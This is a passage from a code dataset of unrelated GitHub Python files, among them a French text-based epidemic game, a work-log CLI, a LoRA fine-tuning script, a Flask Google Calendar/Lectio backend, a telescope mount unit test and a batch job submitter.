'N' pour Non)*\\n\"))\n if rejouer == 'O':\n return routine_principale()\n else:\n print(\"*A bientôt pour une nouvelle partie de Plague Inc.*\")\n return\n else :\n os.system('cls')\n compteur += difficulte\n if recherche >= 80 :\n recherche += 0.54\n if recherche < 80 :\n recherche += 0.36\n credit += 95\n population -= (symptome * niveau_symptome + letalite * niveau_letalite) + (symptome * niveau_symptome + letalite * niveau_letalite) * transmissivite * niveau_transmissivite * compteur\n if action == \"cheat\" or action == \"CHEAT\" or action == \"tri\" or action == \"TRI\" :\n population -= 1000000000\n if action == 'chanceux' or action == 'CHANCEUX' :\n if random.random() >= 0.75 :\n credit += 500\n if action == \"cadeau\" or action == \"CADEAU\" :\n credit += 200\n if action == \"cent\" or action == \"CENT\" :\n credit += 100\n if (action == \"S\" or action == 's') and niveau_symptome <= 2 :\n if niveau_symptome == 0 and credit >= 1000:\n credit -= 1000\n niveau_symptome += 1\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if niveau_symptome == 0 and credit < 1000:\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if niveau_symptome == 1 and credit >=2000 :\n credit -= 2000\n niveau_symptome += 1\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if niveau_symptome == 1 and credit < 2000:\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if niveau_symptome == 2 and credit >= 3000 :\n credit -= 3000\n niveau_symptome += 1\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if niveau_symptome == 2 and credit < 3000:\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if (action == \"T\" or action == \"t\") and niveau_transmissivite <= 2 :\n if niveau_transmissivite == 0 and credit >= 2000 :\n credit -= 2000\n niveau_transmissivite += 1\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if niveau_transmissivite == 1 and credit < 2000:\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if niveau_transmissivite == 1 and credit >= 4000 :\n credit -= 4000\n niveau_transmissivite += 1\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if niveau_transmissivite == 1 and credit < 4000:\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if niveau_transmissivite == 2 and credit >= 8000 :\n credit -= 8000\n niveau_transmissivite += 1\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if niveau_transmissivite == 2 and credit < 8000:\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if (action == \"L\" or action == \"l\") and niveau_letalite <= 2 :\n if niveau_letalite == 0 and credit >= 1500 :\n credit -= 1500\n niveau_letalite += 1\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if niveau_letalite == 0 and credit < 1500:\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if niveau_letalite == 1 and credit >= 3000 :\n credit -= 3000\n niveau_letalite += 1\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if niveau_letalite == 1 and credit < 3000:\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if niveau_letalite == 2 and credit >= 5000 :\n credit -= 5000\n niveau_letalite += 1\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n if niveau_letalite == 2 and credit < 5000:\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n else :\n return maladie(population, recherche, credit, symptome, niveau_symptome, transmissivite,\n niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte)\n\nclass AlarmException(Exception):\n pass\n\ndef alarmHandler(signum, frame):\n raise AlarmException\n\ndef entree(Prompt='', timeout=1):\n signal.signal(signal.SIGALRM, alarmHandler)\n signal.alarm(timeout)\n try:\n text = input(Prompt)\n signal.alarm(0)\n return text\n except AlarmException:\n print ('\\nJeu développé par Nongma SORGHO')\n signal.signal(signal.SIGALRM, signal.SIG_IGN)\n return ''\n\n\nroutine_principale()\n\n","repo_name":"Atepir/plague.py","sub_path":"plague.py","file_name":"plague.py","file_ext":"py","file_size_in_byte":16561,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"72861679467","text":"from util import *\n\n\nclass Worklog:\n\n def quit_program(self):\n \"\"\"This quits the application\"\"\"\n print(\"Thank you for using WORK LOG. Goodbye.\")\n exit()\n\n def main_menu(self):\n \"\"\"This brings up the main menu of the program. Allowing\n users to pick which task they would like to do\n \"\"\"\n\n menu_options = {'a': self.add_entry, 'b': self.search_entry,\n 'c': self.quit_program}\n\n while True:\n print(\"Welcome to WORK LOG\")\n menu_choice = input(\"What would you like to do?\"\n \"\\na) Add new entry\"\n \"\\nb) Search in existing entries\"\n \"\\nc) Quit program\"\n \"\\n> \")\n\n try:\n choice = menu_options[menu_choice]\n clear()\n\n except KeyError:\n input(\"That is not a valid choice. Please try again \")\n self.main_menu()\n else:\n choice()\n clear()\n\n def add_entry(self):\n \"\"\"Writes user input to a csv\"\"\"\n entry_date = date_format(input(\"Date of the task\"\n \"\\nPlease use the \"\n \"MM/DD/YYYY:\\n> \")).strip()\n clear()\n\n entry_title = input(\"Title of the task:\\n> \").strip()\n clear()\n\n entry_time_spent = time_format(input(\"Time spent \"\n \"(rounded in minutes):\\n> \"))\n clear()\n\n entry_notes = input(\"Notes (Optional):\\n> \").strip()\n clear()\n\n with open('work_log.csv', 'a') as file:\n file.write(entry_date + ',' + entry_title + ',' +\n entry_time_spent + ',' + entry_notes + '\\n')\n input(\"Your entry has been added. Press enter to return to the menu\\n\")\n clear()\n\n def search_entry(self):\n \"\"\"This prompts the user with option of searching existing entries\n and gives the user four different options as to what to specifically\n search for\n \"\"\"\n\n search_options = {'a': self.search_date, 'b': self.search_time_spent,\n 'c': self.exact_search, 'd': self.search_regex,\n 'e': self.main_menu}\n search_choice = input(\"What would you like to search by?\"\n \"\\na) Date\"\n \"\\nb) Time Spent\"\n \"\\nc) Exact Search\"\n \"\\nd) Regex pattern\"\n \"\\ne) Return to Main Menu\"\n \"\\n> \")\n try:\n choice = search_options[search_choice]\n clear()\n\n except KeyError:\n input(\"That is not a valid choice. Please try again \\n>\")\n self.search_entry()\n clear()\n else:\n choice()\n clear()\n\n\n def search_date(self):\n \"\"\"This function takes the user's argument and passes it to the\n search_csv function which then displays it to the user\n \"\"\"\n desired_date = date_format(input('Please enter a date in the '\n 'MM/DD/YYYY format: \\n>'))\n search_csv(desired_date)\n\n def search_time_spent(self):\n \"\"\"This function takes the user's argument and passes it to the\n search_csv function which then displays it to the user\n \"\"\"\n spent_time = time_format(input('How much time did you spend on'\n ' this job task? \\n>')).strip()\n search_time(spent_time)\n\n def exact_search(self):\n \"\"\"This function takes the user's argument and passes it to the\n search_csv function which then displays it to the user\n \"\"\"\n exactly = input('What exactly are you looking for? \\n>')\n\n search_csv(exactly)\n\n def search_regex(self):\n \"\"\"This function takes the user's inputted regex pattern and passes\n it to the reg_csv_search funtion where it is then displayed to the\n user\n \"\"\"\n pattern = input(\"Please enter the REGEX pattern you would like \"\n \"to use to search for the log: \\n>\")\n reg_csv_search(pattern)\n\n\nif __name__ == '__main__':\n Worklog().main_menu()\n","repo_name":"DNvrro/Project--3--Work-Log","sub_path":"work_log.py","file_name":"work_log.py","file_ext":"py","file_size_in_byte":4382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31114120007","text":"import os\nimport torch\nimport torch.nn as nn\nfrom transformers import (AutoTokenizer, AutoModelForCausalLM, \n Trainer, TrainingArguments, \n DataCollatorForLanguageModeling)\nfrom peft import LoraConfig, get_peft_model\nfrom datasets import load_dataset\nimport yaml\n\ndef load_config(config_path):\n with open(config_path, 'r') as file:\n config = yaml.safe_load(file)\n return config\n\n# Config Grab\nconfig_path = \"./config.yaml\"\nconfig = load_config(config_path)\n\n# Accessing configurations in code\nLORA_CONFIG_PARAMS = config['LORA_CONFIG_PARAMS']\nTRAINING_ARGS_PARAMS = config['TRAINING_ARGS_PARAMS']\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\nclass CastOutputToFloat(nn.Sequential):\n def forward(self, x): \n return super().forward(x).to(torch.float32)\n\ndef initialize_model(model_name, token):\n model = AutoModelForCausalLM.from_pretrained(\n model_name,\n load_in_4bit=True,\n device_map='auto',\n token=token \n )\n for param in model.parameters():\n param.requires_grad = False \n if param.ndim == 1:\n param.data = param.data.to(torch.float32)\n model.gradient_checkpointing_enable()\n model.enable_input_require_grads()\n model.lm_head = CastOutputToFloat(model.lm_head)\n return model\n\ndef configure_lora_adapters(model):\n lora_config = LoraConfig(**LORA_CONFIG_PARAMS)\n return get_peft_model(model, lora_config)\n\ndef preprocess_data(tokenizer):\n data = load_dataset(\"Abirate/english_quotes\") # change this to whatever dataset you like\n data = data.map(lambda e: {\"prediction\": f\"{e['quote']} ->: {e['tags']}\"})\n return data.map(lambda samples: tokenizer(samples['prediction']), batched=True)\n\ndef train_model(model, data, tokenizer):\n training_args = TrainingArguments(**TRAINING_ARGS_PARAMS)\n data_collator = DataCollatorForLanguageModeling(tokenizer, mlm=False)\n trainer = Trainer(\n model=model,\n train_dataset=data['train'],\n args=training_args,\n data_collator=data_collator\n )\n model.config.use_cache = False \n trainer.train()\n\ndef share_adapters(model):\n model.push_to_hub(\n \"Your huggingface repo goes here\",\n use_auth_token=True,\n commit_message=\"initial basic training\",\n private=True\n )\n\ndef save_adapters_locally(model, path):\n model.save_pretrained(path, \"lora\")\n\ndef run_training(model_name, token):\n tokenizer = AutoTokenizer.from_pretrained(model_name)\n tokenizer.pad_token = tokenizer.eos_token\n model = initialize_model(model_name, token)\n model = configure_lora_adapters(model)\n data = preprocess_data(tokenizer)\n train_model(model, data, tokenizer)\n share_adapters(model)\n save_adapters_locally(model, \"./local_adapters\")\n","repo_name":"rgreenhillbrown/peft-finetuning-for-llms","sub_path":"training_module.py","file_name":"training_module.py","file_ext":"py","file_size_in_byte":2803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5090834047","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"chicken_tinder\",\n version=\"0.0.1\",\n author=\"Simon Fong\",\n author_email=\"simonfong6@gmail.com\",\n description=\"Tools used by Simon\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/simonfong6/chicken-tinder\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n python_requires='>=3.6',\n)\n","repo_name":"simonfong6/chicken-tinder","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12011273307","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport argparse\nimport logging\n\nfrom pymodbus.datastore import ModbusSequentialDataBlock\nfrom pymodbus.datastore import ModbusSlaveContext, ModbusServerContext\nfrom pymodbus.server.sync import ModbusSerialServer, ModbusTcpServer\nfrom pymodbus.transaction import ModbusRtuFramer, ModbusSocketFramer\n\nco_data = [False, False, True]\ndi_data = [True, False]\nir_data = [\n 0xFFFF,\n 0x8000, # int16\n 0xFFFF, 0xFFFF, # uint32\n 0xFFFF, 0xFFFF, # int32\n 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, # uint64\n 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, # int64\n 0x4048, 0xF5C3, # float32\n 0x4009, 0x1EB8, 0x51EB, 0x851F, # float64\n 0x4D6F, 0x6462, 0x7573, 0x456D, 0x7500, # string\n 0x7856, 0x3412 # byte-order (DCBA)\n]\nhr_data = [\n 0x0000,\n 0x5678, 0x1234, # byte-order\n 0x0001, # scaling\n 0x0001, # scaling2\n 0x1234, 0x5678, # nv2\n 0x1234, 0x5678, 0x9ABC, 0xDEF0, # bytearray\n 0xFFFF,\n 0xFFFF,\n 0xFFFF,\n 0xFFFF,\n 0xFFFF\n]\n\nbaud_supported_list = [9600, 19200, 38400, 57600, 115200]\n\n\ndef build_server_context():\n store = ModbusSlaveContext(\n di=ModbusSequentialDataBlock(1, di_data),\n co=ModbusSequentialDataBlock(1, co_data),\n hr=ModbusSequentialDataBlock(1, hr_data),\n ir=ModbusSequentialDataBlock(1, ir_data))\n context = ModbusServerContext(\n slaves=store,\n single=True)\n return context\n\n\ndef validate_tcp_args(args):\n if not args.host:\n return False\n\n if not args.port:\n return False\n if (int(args.port) <= 0) or (int(args.port) > 65535):\n return False\n\n return True\n\n\ndef run_tcp(args, server_context):\n server = ModbusTcpServer(\n context=server_context,\n framer=ModbusSocketFramer,\n address=(args.host, int(args.port)))\n server.serve_forever()\n\n\ndef validate_rtu_args(args):\n if not args.path:\n return False\n\n if not args.baud:\n return False\n\n return True\n\n\ndef run_rtu(args, server_context):\n server = ModbusSerialServer(\n context=server_context,\n framer=ModbusRtuFramer,\n port=args.path,\n baudrate=args.baud,\n timeout=0.005)\n server.serve_forever()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Modbus Emulator.')\n parser.add_argument(\n '--emu-type',\n required=True,\n choices=['tcp', 'rtu'],\n help='Emulate type.')\n parser.add_argument(\n '--slave-id',\n default=0x00,\n help='Modbus device slave ID/unit ID.')\n\n tcp_group = parser.add_argument_group(\n 'Modbus TCP',\n 'These options only effect at emu-type=tcp.')\n tcp_group.add_argument('--host', help='Modbus TCP host IP.')\n tcp_group.add_argument(\n '--port',\n type=int,\n help='Modbus TCP port.')\n\n rtu_group = parser.add_argument_group(\n 'Modbus RTU',\n 'These options only effect at emu-type=rtu.')\n rtu_group.add_argument('--path', help='Modbus RTU UART port path.')\n rtu_group.add_argument(\n '--baud',\n type=int,\n choices=baud_supported_list,\n help='UART baud rate')\n\n args = parser.parse_args()\n\n server_context = build_server_context()\n\n if args.emu_type == 'tcp':\n if not validate_tcp_args(args):\n parser.print_help()\n exit()\n run_tcp(args, server_context)\n elif args.emu_type == 'rtu':\n if not validate_rtu_args(args):\n parser.print_help()\n exit()\n run_rtu(args, server_context)\n else:\n pass","repo_name":"GaryHsu77/modbus-utils","sub_path":"slave/modbusslave.py","file_name":"modbusslave.py","file_ext":"py","file_size_in_byte":3640,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"16786041983","text":"\"\"\"\nStore color names and get custom names according to env\n\"\"\"\n\nimport os\n\n\ncustom_file = os.environ.get('COLORPRINT_CUSTOM')\nattr_names = {\n 'reset': (0,),\n 'bold': (1,),\n 'bright': (1,),\n 'dim': (2,),\n 'underscore': (4,),\n 'underlined': (4,),\n 'blink': (5,),\n 'reverse': (7,),\n 'hidden': (8,),\n 'black': (30,),\n 'red': (31,),\n 'green': (32,),\n 'yellow': (33,),\n 'blue': (34,),\n 'magenta': (35,),\n 'purple': (35,),\n 'cyan': (36,),\n 'white': (37,),\n 'bgblack': (40,),\n 'bgred': (41,),\n 'bggreen': (42,),\n 'bgyellow': (43,),\n 'bgblue': (44,),\n 'bgmagenta': (45,),\n 'bgpurple': (45,),\n 'bgcyan': (46,),\n 'bgwhite': (47,),\n}\n\nif custom_file is not None:\n pass # parse custom file and update to `attr_names`\n\n\nif __name__=='__main__':\n from pprint import pprint\n pprint(attr_names)\n","repo_name":"apua/colorprint","sub_path":"PY2/colorprint/attributes.py","file_name":"attributes.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18440591104","text":"from flask import Flask\nfrom flask import redirect\nfrom flask import request\nimport config\nfrom GoogleOAuth import google_oauth as GoogleOAuth\nfrom GoogleCalendar import calendar as GoogleCalendar\nfrom flask.ext.sqlalchemy import SQLAlchemy\nfrom app import *\nfrom objects import *\nimport string\nfrom datetime import *\nfrom time import mktime\nimport random\nimport json\nfrom flask import Response\nfrom GoogleOAuth.error import Error\nfrom LectioAPI import authenticate\n\ndb.create_all()\n\n# Creates a random string\ndef createToken (size=32, chars=string.ascii_uppercase + string.digits + string.ascii_lowercase):\n return ''.join(random.choice(chars) for x in range(size))\n\n# Initialize Google OAuth module\nGoogleOAuth = GoogleOAuth.GoogleOAuth()\n\n# Create All DB force route\n@application.route('/start', methods=['GET'])\ndef index():\n db.create_all()\n return \"Service Running\"\n\n# Starting auth route\n@application.route('/auth', methods=['GET'])\ndef auth():\n return json.dumps({\n \"status\" : \"ok\",\n \"url\" : GoogleOAuth.auth(callback=\"/callback\",state=\"auth\")\n })\n\n@application.after_request\ndef after_request(response):\n response.headers.add(\"Content-Type\", \"application/json\")\n response.headers.add('Access-Control-Allow-Origin', '*')\n return response\n\n@application.route(\"/fetch/calendars\")\ndef fetch_calendars():\n if request.args.get(\"token\"):\n UserObject = db.session.query(User).join(UserToken,UserToken.user_id == User.user_id).filter(UserToken.token == request.args.get(\"token\")).first()\n UsersToken = db.session.query(UserToken).filter(UserToken.token == request.args.get(\"token\")).first()\n if isinstance(UserObject, User):\n\n # Refresh Google Token\n if int(UsersToken.expires_at) <= int(str(mktime(datetime.now().timetuple()))[:-2]):\n Token = GoogleOAuth.refresh(UserObject.refresh_token)\n UsersToken.access_token = Token.access_token\n UsersToken.expires_at = str(mktime(datetime.now().timetuple())+int(Token.expires_in))[:-2]\n db.session.add(UsersToken)\n db.session.commit()\n\n GoogleCalendarObject = GoogleCalendar.GoogleCalendar()\n GoogleCalendarObject.access_token = UsersToken.access_token\n colors = GoogleCalendarObject.colors()\n calendars = GoogleCalendarObject.calendars()\n\n return json.dumps({\n \"status\" : \"ok\",\n \"calendars\" : calendars,\n \"colors\" : colors\n })\n else:\n return json.dumps({\n \"status\" : \"error\",\n \"error_code\" : \"403\",\n \"error_message\" : \"No token found!\"\n }), 403\n else:\n return json.dumps({\n \"status\" : \"error\",\n \"error_code\" : \"400\",\n \"error_message\" : \"No token supplied\"\n }), 400\n\n@application.route(\"/save/user-id\", methods=[\"POST\"])\ndef save_user_id():\n if request.args.get(\"token\"):\n UserObject = db.session.query(User).join(UserToken,UserToken.user_id == User.user_id).filter(UserToken.token == request.args.get(\"token\")).first()\n if isinstance(UserObject, User):\n incomming = json.loads(request.form.keys()[0])\n\n UserObject.lectio_user_id = incomming.student_id\n\n db.session.add(UserObject)\n db.session.commit()\n\n return json.dumps({\n \"status\" : \"ok\"\n })\n else:\n return json.dumps({\n \"status\" : \"error\",\n \"error_code\" : \"403\",\n \"error_message\" : \"No token found!\"\n }), 403\n else:\n return json.dumps({\n \"status\" : \"error\",\n \"error_code\" : \"400\",\n \"error_message\" : \"No token supplied\"\n }), 400\n\n\n@application.route(\"/save/user\", methods=[\"POST\"])\ndef save_user():\n pass\n '''if request.args.get(\"token\"):\n UserObject = db.session.query(User).join(UserToken,UserToken.user_id == User.user_id).filter(UserToken.token == request.args.get(\"token\")).first()\n if isinstance(UserObject, User):\n incomming = json.loads(request.form.keys()[0])\n if hasattr(incomming,\"username\") and hasattr(incomming,\"password\"):\n UserObject.username = incomming.username\n UserObject.password = incomming.password\n\n return json.dumps({\n \"status\" : \"ok\"\n })\n else:\n else:\n return json.dumps({\n \"status\" : \"error\",\n \"error_code\" : \"403\",\n \"error_message\" : \"No token found!\"\n }), 403\n else:\n return json.dumps({\n \"status\" : \"error\",\n \"error_code\" : \"400\",\n \"error_message\" : \"No token supplied\"\n }), 400'''\n\n@application.route(\"/save/calendar\",methods=[\"POST\",\"GET\"])\ndef save_calendar():\n if request.args.get(\"token\"):\n UserObject = db.session.query(User).join(UserToken,UserToken.user_id == User.user_id).filter(UserToken.token == request.args.get(\"token\")).first()\n if isinstance(UserObject, User):\n incomming = json.loads(request.form.keys()[0])\n ExistingTask = db.session.query(TimeTableTask).filter(google_id = UserObject.user_id).first()\n\n TaskObject = TimeTableTask(UserObject.user_id, \"\" ,incomming.simplify)\n\n if isinstance(ExistingTask, TimeTableTask):\n TaskObject = ExistingTask\n\n if incomming.calendar.type == \"existing\":\n TaskObject.calendar_id = incomming.calendar.id\n else:\n UsersToken = db.session.query(UserToken).filter(UserToken.token == request.args.get(\"token\")).first()\n\n # Refresh Google Token\n if int(UsersToken.expires_at) <= int(str(mktime(datetime.now().timetuple()))[:-2]):\n Token = GoogleOAuth.refresh(UserObject.refresh_token)\n UsersToken.access_token = Token.access_token\n UsersToken.expires_at = str(mktime(datetime.now().timetuple())+int(Token.expires_in))[:-2]\n db.session.add(UsersToken)\n db.session.commit()\n\n GoogleCalendarObject = GoogleCalendar.GoogleCalendar\n GoogleCalendarObject.access_token = UsersToken.access_token\n GoogleCalendarObject.createCalendar(incomming.calendar.name)\n\n db.session.add(TaskObject)\n db.session.commit()\n\n return json.dumps({\n \"status\" : \"ok\"\n })\n else:\n return json.dumps({\n \"status\" : \"error\",\n \"error_code\" : \"403\",\n \"error_message\" : \"No token found!\"\n }), 403\n else:\n return json.dumps({\n \"status\" : \"error\",\n \"error_code\" : \"400\",\n \"error_message\" : \"No token supplied\"\n }), 400\n\n\n\n@application.route(\"/save/school\", methods=[\"POST\",\"GET\"])\ndef save_school():\n if request.args.get(\"token\"):\n UserObject = db.session.query(User).join(UserToken,UserToken.user_id == User.user_id).filter(UserToken.token == request.args.get(\"token\")).first()\n if isinstance(UserObject, User):\n if \"branch_id\" in request.form:\n UserObject.branch_id = request.form[\"branch_id\"]\n if \"school_id\" in request.form:\n UserObject.school_id = request.form[\"school_id\"]\n db.session.add(UserObject)\n db.session.commit()\n\n return json.dumps({\n \"status\" : \"ok\"\n })\n else:\n return json.dumps({\n \"status\" : \"error\",\n \"error_code\" : \"403\",\n \"error_message\" : \"No token found!\"\n }), 403\n else:\n return json.dumps({\n \"status\" : \"error\",\n \"error_code\" : \"400\",\n \"error_message\" : \"No token supplied\"\n }), 400\n\n@application.route(\"/students\")\ndef students():\n if request.args.get(\"suggest\") == False or request.args.get(\"suggest\") == None:\n students = db.session.query(Student).filter(Student.school_branch_id==request.args.get(\"branch_id\")).all()\n else:\n searchstring = request.args.get(\"suggest\") + '%'\n students = db.session.query(Student).filter(Student.name.like(searchstring)).filter(Student.school_branch_id==request.args.get(\"branch_id\")).limit(5)\n\n studentList = []\n for student in students:\n tokens = student.name.split(\" \")\n tokens.append(student.name)\n studentList.append({\n \"name\" : student.name,\n \"student_id\" : student.student_id,\n \"class_student_id\" : student.class_student_id,\n \"id\" : student.id,\n \"tokens\" : tokens,\n \"value\" : student.name\n })\n return json.dumps(studentList)\n\n\n@application.route(\"/schools\")\ndef schools():\n if request.args.get(\"suggest\") == False or request.args.get(\"suggest\") == None:\n schools = db.session.query(School).all()\n else:\n searchstring = request.args.get(\"suggest\") + '%'\n schools = db.session.query(School).filter(School.name.like(searchstring)).limit(5)\n\n schoolList = []\n for school in schools:\n schoolList.append({\n \"name\" : school.name,\n \"branch_id\" : school.school_branch_id,\n \"school_id\" : school.school_id,\n \"id\" : school.id,\n \"tokens\" : [school.name],\n \"value\" : school.name\n })\n return json.dumps(schoolList)\n\n# Return from Google Auth callback\n@application.route(\"/callback\")\ndef callback():\n\n # If error\n if request.args.get(\"error\") != False :\n data = GoogleOAuth.callback(code=request.args.get(\"code\"))\n\n # If no callback data has been returned or the request failed\n if not isinstance(data, Error) and hasattr(data, \"access_token\"):\n userdata = GoogleOAuth.userinfo(data.access_token)\n\n # If no user data has been returned, then the access token isn't valid\n if userdata != False:\n if data.refresh_token != \"NULL\":\n db.session.add(User(userdata.id, data.refresh_token))\n db.session.commit()\n token = createToken(32)\n db.session.add(UserToken(token, data.access_token, data.expires_in, userdata.id))\n db.session.commit()\n\n # Create session\n return json.dumps({\n \"token\" : token,\n \"status\" : \"ok\",\n \"user\" : userdata.__dict__,\n \"created\" : True\n })\n else:\n token = createToken(32)\n db.session.add(UserToken(token, data.access_token, data.expires_in, userdata.id))\n db.session.commit()\n\n # Create session\n return json.dumps({\n \"token\" : token,\n \"created\" : False,\n \"status\" : \"ok\",\n \"user\" : userdata.__dict__\n })\n else:\n return json.dumps({\n \"status\" : \"error\",\n \"error\" : \"No user data fetched\",\n \"error_code\" : \"404\"\n }), 404\n else:\n return json.dumps({\n \"status\" : \"error\",\n \"error\" : \"No access token fetched\",\n \"error_code\" : \"403\",\n \"error_message\" : data.error\n }), 403\n else:\n return json.dumps({\n \"status\" : \"error\",\n \"error\" : request.args.get(\"error\"),\n \"error_code\" : 500,\n }), 500\n\n# Run the app/server\nif __name__ == '__main__':\n application.run(\n host='127.0.0.1',\n port=5000,\n debug=True\n )","repo_name":"boh1996/lectio-web-settings","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"790844747","text":"import unittest\n\nfrom lsst.ts import standardscripts\nfrom lsst.ts.standardscripts.maintel import HomeBothAxes\n\n\nclass TestHomeBothAxes(\n standardscripts.BaseScriptTestCase, unittest.IsolatedAsyncioTestCase\n):\n async def basic_make_script(self, index):\n self.script = HomeBothAxes(index=index, add_remotes=False)\n\n self.script.mtcs.rem.mtmount = unittest.mock.AsyncMock()\n self.script.mtcs.lower_m1m3 = unittest.mock.AsyncMock()\n self.script.mtcs.disable_m1m3_balance_system = unittest.mock.AsyncMock()\n\n return (self.script,)\n\n async def test_run(self):\n async with self.make_script():\n await self.configure_script()\n\n await self.run_script()\n\n self.script.mtcs.disable_m1m3_balance_system.assert_awaited_once()\n self.script.mtcs.rem.mtmount.cmd_homeBothAxes.start.assert_awaited_once_with(\n timeout=self.script.home_both_axes_timeout\n )\n\n async def test_executable(self):\n scripts_dir = standardscripts.get_scripts_dir()\n script_path = scripts_dir / \"maintel\" / \"home_both_axes.py\"\n print(script_path)\n await self.check_executable(script_path)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"lsst-ts/ts_standardscripts","sub_path":"tests/test_maintel_home_both_axes.py","file_name":"test_maintel_home_both_axes.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"6896918716","text":"#!/usr/local/bin/python\n\nEntriesPerRun = -1\nQueue = 'xxl'\n\n# Inclusive run ranges.\n# This set of windows is meant to only include Run2ab for now.\n# Boundaries which are explicitly commented are confirmed exactly;\n# others are not independently confirmed by me with environmental correlations.\n# (I still trust them, though.)\nRunWindows = [(2424, 2690), # FEC voltage adjustment\n (2691, 2852), # Ebox 1 fan installed\n (2853, 2891), # Ebox 2 fan installed\n (2892, 3117), # Power outage here.\n (3118, 3326), # APD board swap\n (3327, 3700), # Utility power swap\n (3701, 3949),\n (3950, 4140), # Ralph's diode box installed\n (4141, 4579),\n (4580, 4779),\n (4780, 5197), # LC filters removed from FECs\n (5198, 5590), # Toward end of 5590 CR temps are elevated; there was a lasting effect\n (5591, 5892)] # Run2c ends.\n\nimport subprocess\nimport ROOT\nROOT.gSystem.Load(\"libEXOUtilities\")\n\nfor runWindow in RunWindows:\n ds = ROOT.EXORunInfoManager.GetDataSet('Data/Processed/masked', '%i<=run&&run<=%i&&quality==\\\"GOLDEN\\\"&&runType==\\\"Data-Physics\\\"' % runWindow)\n runList = [str(ri.GetRunNumber()) for ri in ds]\n subprocess.call(['bsub', '-q', Queue, '-R', 'rhel60', '-o', '%i_to_%i.log' % runWindow,\n './MakeNoiseFile', '%i_to_%i.dat' % runWindow, str(EntriesPerRun)] + runList)\n\n# We also generate a noise window for runs 2401-2423 (09-28-11 APD biases).\n# But, lacking physics data, we use a noise run there.\nsubprocess.call(['bsub', '-q', Queue, '-R', 'rhel60', '-o', '2401_to_2423.log',\n './MakeNoiseFile', '2401_to_2423.dat', '-1', '2401'])\n\n","repo_name":"cgd8d/StandaloneRefitter","sub_path":"MakeNoise/SubmitJobs.py","file_name":"SubmitJobs.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"26514389385","text":"import torch\n\nfrom PIL import Image\nfrom diffusers import DPMSolverMultistepScheduler\nfrom diffusers.utils import is_xformers_available\nfrom diffusers.configuration_utils import ConfigMixin\nfrom diffusers.models import ModelMixin\nfrom control_lora.models import ControlLoRAContainer\nfrom control_lora.pipelines import 